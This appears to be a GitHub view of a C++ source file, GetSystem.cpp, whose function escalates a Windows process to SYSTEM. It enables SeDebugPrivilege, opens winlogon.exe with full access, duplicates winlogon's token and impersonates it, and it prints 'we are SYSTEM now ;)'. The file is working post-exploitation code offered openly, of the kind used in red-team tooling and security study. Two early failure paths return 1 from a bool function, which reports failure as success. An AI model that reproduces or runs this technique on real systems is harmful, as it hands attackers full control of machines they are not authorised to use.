-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathGetSystem.cpp
44 lines (39 loc) · 1.52 KB
/
GetSystem.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "common.h"
bool GetSystem()
{
// let's first make sure we have the SeDebugPrivilege enabled
HANDLE tempTokenHandle;
auto success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
if(!success)
{
std::cout << "[-] Failed to open current process token, exiting...\n";
return 1;
}
RAII::Handle currentToken = tempTokenHandle;
success = SetPrivilege(currentToken.GetHandle(), L"SeDebugPrivilege", true);
if (!success) return 1;
RAII::Handle winlogonHandle = OpenProcess(PROCESS_ALL_ACCESS, false, FindPID(L"winlogon.exe"));
if (!winlogonHandle.GetHandle())
{
std::cout << "[-] Couldn't get a PROCESS_ALL_ACCESS handle to winlogon.exe, exiting...\n";
return false;
}
else std::cout << "[+] Got a PROCESS_ALL_ACCESS handle to winlogon.exe!\n";
// we reuse tempTokenHandle and fill it with the token of winlogon.exe so that we don't have to make a new variable
success = OpenProcessToken(winlogonHandle.GetHandle(), TOKEN_QUERY | TOKEN_DUPLICATE, &tempTokenHandle);
if (!success)
{
std::cout << "[-] Couldn't get a handle to winlogon.exe's token, exiting...\n";
return success;
}
else std::cout << "[+] Opened a handle to winlogon.exe's token!\n";
RAII::Handle tokenHandle = tempTokenHandle;
success = ImpersonateLoggedOnUser(tokenHandle.GetHandle());
if (!success)
{
std::cout << "[-] Couldn't impersonate winlogon.exe's token, exiting...\n";
return success;
}
else std::cout << "[+] Successfully impersonated winlogon.exe's token, we are SYSTEM now ;)\n";
return success;
}